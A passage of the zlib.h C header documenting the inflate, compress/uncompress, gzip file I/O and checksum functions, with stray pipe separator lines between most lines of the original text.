deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
|
||||
stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
|
||||
if strm->avail_out was zero.
|
||||
*/
|
||||
|
||||
/*
|
||||
ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
|
||||
int windowBits));
|
||||
|
||||
This is another version of inflateInit with an extra parameter. The
|
||||
fields next_in, avail_in, zalloc, zfree and opaque must be initialized
|
||||
before by the caller.
|
||||
|
||||
The windowBits parameter is the base two logarithm of the maximum window
|
||||
size (the size of the history buffer). It should be in the range 8..15 for
|
||||
this version of the library. The default value is 15 if inflateInit is used
|
||||
instead. If a compressed stream with a larger window size is given as
|
||||
input, inflate() will return with the error code Z_DATA_ERROR instead of
|
||||
trying to allocate a larger window.
|
||||
|
||||
inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
|
||||
memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative
|
||||
memLevel). msg is set to null if there is no error message. inflateInit2
|
||||
does not perform any decompression apart from reading the zlib header if
|
||||
present: this will be done by inflate(). (So next_in and avail_in may be
|
||||
modified, but next_out and avail_out are unchanged.)
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
|
||||
const Bytef *dictionary,
|
||||
uInt dictLength));
|
||||
/*
|
||||
Initializes the decompression dictionary from the given uncompressed byte
|
||||
sequence. This function must be called immediately after a call of inflate
|
||||
if this call returned Z_NEED_DICT. The dictionary chosen by the compressor
|
||||
can be determined from the Adler32 value returned by this call of
|
||||
inflate. The compressor and decompressor must use exactly the same
|
||||
dictionary (see deflateSetDictionary).
|
||||
|
||||
inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
|
||||
parameter is invalid (such as NULL dictionary) or the stream state is
|
||||
inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
|
||||
expected one (incorrect Adler32 value). inflateSetDictionary does not
|
||||
perform any decompression: this will be done by subsequent calls of
|
||||
inflate().
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));
|
||||
/*
|
||||
Skips invalid compressed data until a full flush point (see above the
|
||||
description of deflate with Z_FULL_FLUSH) can be found, or until all
|
||||
available input is skipped. No output is provided.
|
||||
|
||||
inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR
|
||||
if no more input was provided, Z_DATA_ERROR if no flush point has been found,
|
||||
or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
|
||||
case, the application may save the current current value of total_in which
|
||||
indicates where valid compressed data was found. In the error case, the
|
||||
application may repeatedly call inflateSync, providing more input each time,
|
||||
until success or end of the input data.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
|
||||
/*
|
||||
This function is equivalent to inflateEnd followed by inflateInit,
|
||||
but does not free and reallocate all the internal decompression state.
|
||||
The stream will keep attributes that may have been set by inflateInit2.
|
||||
|
||||
inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
|
||||
stream state was inconsistent (such as zalloc or state being NULL).
|
||||
*/
|
||||
|
||||
|
||||
/* utility functions */
|
||||
|
||||
/*
|
||||
The following utility functions are implemented on top of the
|
||||
basic stream-oriented functions. To simplify the interface, some
|
||||
default options are assumed (compression level and memory usage,
|
||||
standard memory allocation functions). The source code of these
|
||||
utility functions can easily be modified if you need special options.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen,
|
||||
const Bytef *source, uLong sourceLen));
|
||||
/*
|
||||
Compresses the source buffer into the destination buffer. sourceLen is
|
||||
the byte length of the source buffer. Upon entry, destLen is the total
|
||||
size of the destination buffer, which must be at least 0.1% larger than
|
||||
sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
|
||||
compressed buffer.
|
||||
This function can be used to compress a whole file at once if the
|
||||
input file is mmap'ed.
|
||||
compress returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||
enough memory, Z_BUF_ERROR if there was not enough room in the output
|
||||
buffer.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen,
|
||||
const Bytef *source, uLong sourceLen,
|
||||
int level));
|
||||
/*
|
||||
Compresses the source buffer into the destination buffer. The level
|
||||
parameter has the same meaning as in deflateInit. sourceLen is the byte
|
||||
length of the source buffer. Upon entry, destLen is the total size of the
|
||||
destination buffer, which must be at least 0.1% larger than sourceLen plus
|
||||
12 bytes. Upon exit, destLen is the actual size of the compressed buffer.
|
||||
|
||||
compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
|
||||
memory, Z_BUF_ERROR if there was not enough room in the output buffer,
|
||||
Z_STREAM_ERROR if the level parameter is invalid.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen,
|
||||
const Bytef *source, uLong sourceLen));
|
||||
/*
|
||||
Decompresses the source buffer into the destination buffer. sourceLen is
|
||||
the byte length of the source buffer. Upon entry, destLen is the total
|
||||
size of the destination buffer, which must be large enough to hold the
|
||||
entire uncompressed data. (The size of the uncompressed data must have
|
||||
been saved previously by the compressor and transmitted to the decompressor
|
||||
by some mechanism outside the scope of this compression library.)
|
||||
Upon exit, destLen is the actual size of the compressed buffer.
|
||||
This function can be used to decompress a whole file at once if the
|
||||
input file is mmap'ed.
|
||||
|
||||
uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||
enough memory, Z_BUF_ERROR if there was not enough room in the output
|
||||
buffer, or Z_DATA_ERROR if the input data was corrupted.
|
||||
*/
|
||||
|
||||
|
||||
typedef voidp gzFile;
|
||||
|
||||
ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode));
|
||||
/*
|
||||
Opens a gzip (.gz) file for reading or writing. The mode parameter
|
||||
is as in fopen ("rb" or "wb") but can also include a compression level
|
||||
("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for
|
||||
Huffman only compression as in "wb1h". (See the description
|
||||
of deflateInit2 for more information about the strategy parameter.)
|
||||
|
||||
gzopen can be used to read a file which is not in gzip format; in this
|
||||
case gzread will directly read from the file without decompression.
|
||||
|
||||
gzopen returns NULL if the file could not be opened or if there was
|
||||
insufficient memory to allocate the (de)compression state; errno
|
||||
can be checked to distinguish the two cases (if errno is zero, the
|
||||
zlib error is Z_MEM_ERROR). */
|
||||
|
||||
ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode));
|
||||
/*
|
||||
gzdopen() associates a gzFile with the file descriptor fd. File
|
||||
descriptors are obtained from calls like open, dup, creat, pipe or
|
||||
fileno (in the file has been previously opened with fopen).
|
||||
The mode parameter is as in gzopen.
|
||||
The next call of gzclose on the returned gzFile will also close the
|
||||
file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
|
||||
descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
|
||||
gzdopen returns NULL if there was insufficient memory to allocate
|
||||
the (de)compression state.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
|
||||
/*
|
||||
Dynamically update the compression level or strategy. See the description
|
||||
of deflateInit2 for the meaning of these parameters.
|
||||
gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
|
||||
opened for writing.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
|
||||
/*
|
||||
Reads the given number of uncompressed bytes from the compressed file.
|
||||
If the input file was not in gzip format, gzread copies the given number
|
||||
of bytes into the buffer.
|
||||
gzread returns the number of uncompressed bytes actually read (0 for
|
||||
end of file, -1 for error). */
|
||||
|
||||
ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
|
||||
const voidp buf, unsigned len));
|
||||
/*
|
||||
Writes the given number of uncompressed bytes into the compressed file.
|
||||
gzwrite returns the number of uncompressed bytes actually written
|
||||
(0 in case of error).
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...));
|
||||
/*
|
||||
Converts, formats, and writes the args to the compressed file under
|
||||
control of the format string, as in fprintf. gzprintf returns the number of
|
||||
uncompressed bytes actually written (0 in case of error).
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
|
||||
/*
|
||||
Writes the given null-terminated string to the compressed file, excluding
|
||||
the terminating null character.
|
||||
gzputs returns the number of characters written, or -1 in case of error.
|
||||
*/
|
||||
|
||||
ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));
|
||||
/*
|
||||
Reads bytes from the compressed file until len-1 characters are read, or
|
||||
a newline character is read and transferred to buf, or an end-of-file
|
||||
condition is encountered. The string is then terminated with a null
|
||||
character.
|
||||
gzgets returns buf, or Z_NULL in case of error.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c));
|
||||
/*
|
||||
Writes c, converted to an unsigned char, into the compressed file.
|
||||
gzputc returns the value that was written, or -1 in case of error.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzgetc OF((gzFile file));
|
||||
/*
|
||||
Reads one byte from the compressed file. gzgetc returns this byte
|
||||
or -1 in case of end of file or error.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush));
|
||||
/*
|
||||
Flushes all pending output into the compressed file. The parameter
|
||||
flush is as in the deflate() function. The return value is the zlib
|
||||
error number (see function gzerror below). gzflush returns Z_OK if
|
||||
the flush parameter is Z_FINISH and all output could be flushed.
|
||||
gzflush should be called only when strictly necessary because it can
|
||||
degrade compression.
|
||||
*/
|
||||
|
||||
ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file,
|
||||
z_off_t offset, int whence));
|
||||
/*
|
||||
Sets the starting position for the next gzread or gzwrite on the
|
||||
given compressed file. The offset represents a number of bytes in the
|
||||
uncompressed data stream. The whence parameter is defined as in lseek(2);
|
||||
the value SEEK_END is not supported.
|
||||
If the file is opened for reading, this function is emulated but can be
|
||||
extremely slow. If the file is opened for writing, only forward seeks are
|
||||
supported; gzseek then compresses a sequence of zeroes up to the new
|
||||
starting position.
|
||||
|
||||
gzseek returns the resulting offset location as measured in bytes from
|
||||
the beginning of the uncompressed stream, or -1 in case of error, in
|
||||
particular if the file is opened for writing and the new starting position
|
||||
would be before the current position.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzrewind OF((gzFile file));
|
||||
/*
|
||||
Rewinds the given file. This function is supported only for reading.
|
||||
|
||||
gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)
|
||||
*/
|
||||
|
||||
ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file));
|
||||
/*
|
||||
Returns the starting position for the next gzread or gzwrite on the
|
||||
given compressed file. This position represents a number of bytes in the
|
||||
uncompressed data stream.
|
||||
|
||||
gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzeof OF((gzFile file));
|
||||
/*
|
||||
Returns 1 when EOF has previously been detected reading the given
|
||||
input stream, otherwise zero.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzclose OF((gzFile file));
|
||||
/*
|
||||
Flushes all pending output if necessary, closes the compressed file
|
||||
and deallocates all the (de)compression state. The return value is the zlib
|
||||
error number (see function gzerror below).
|
||||
*/
|
||||
|
||||
ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));
|
||||
/*
|
||||
Returns the error message for the last error which occurred on the
|
||||
given compressed file. errnum is set to zlib error number. If an
|
||||
error occurred in the file system and not in the compression library,
|
||||
errnum is set to Z_ERRNO and the application may consult errno
|
||||
to get the exact error code.
|
||||
*/
|
||||
|
||||
/* checksum functions */
|
||||
|
||||
/*
|
||||
These functions are not related to compression but are exported
|
||||
anyway because they might be useful in applications using the
|
||||
compression library.
|
||||
*/
|
||||
|
||||
ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
|
||||
|
||||
/*
|
||||
Update a running Adler-32 checksum with the bytes buf[0..len-1] and
|
||||
return the updated checksum. If buf is NULL, this function returns
|
||||
the required initial value for the checksum.
|
||||
An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
|
||||
much faster. Usage example:
|
||||
|
||||
uLong adler = adler32(0L, Z_NULL, 0);
|
||||
|
||||
while (read_buffer(buffer, length) != EOF) {
|
||||
adler = adler32(adler, buffer, length);
|
||||
}
|
||||
if (adler != original_adler) error();
|
||||
*/
|
||||
|
||||
ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
|
||||
/*
|
||||
Update a running crc with the bytes buf[0..len-1] and return the updated
|
||||
crc. If buf is NULL, this function returns the required initial value
|
||||
for the crc. Pre- and post-conditioning (one's complement) is performed
|
||||
within this function so it shouldn't be done by the application.
|
||||
Usage example:
|
||||
|
||||
uLong crc = crc32(0L, Z_NULL, 0);
|
||||
|
||||
while (read_buffer(buffer, length) != EOF) {
|
||||
crc = crc32(crc, buffer, length);
|
||||
}
|
||||
if (crc != original_crc) error();
|
||||
*/
|
||||
|
||||
|
||||
/* various hacks, don't look :) */
|
||||
|
||||
/* deflateInit and inflateInit are macros to allow checking the zlib version
|
||||
* and the compiler's view of z_stream:
|
||||
*/
|
||||
ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,
|
||||
const char *version, int stream_size));
|
||||
ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,
|
||||
const char *version, int stream_size));
|
||||
ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method,
|
||||
int windowBits, int memLevel,
|
||||
int strategy, const char *version,
|
||||
int stream_size));
|
||||
ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits,
|
||||
const char *version, int stream_size));
|
||||
#define deflateInit(strm, level) \
|
||||
deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream))
|
||||
#define inflateInit(strm) \
|
||||
inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream))
|
||||
#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
|
||||
deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
|
||||
(strategy), ZLIB_VERSION, sizeof(z_stream))
|
||||
#define inflateInit2(strm, windowBits) \
|
||||
inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))
|
||||
|
||||
|
||||
#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
|
||||
struct internal_state {int dummy;}; /* hack for buggy compilers */
|
||||
#endif
|
||||
|
||||
ZEXTERN const char * ZEXPORT zError OF((int err));
|
||||
ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z));
|
||||
ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void));
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* _ZLIB_H */
|
||||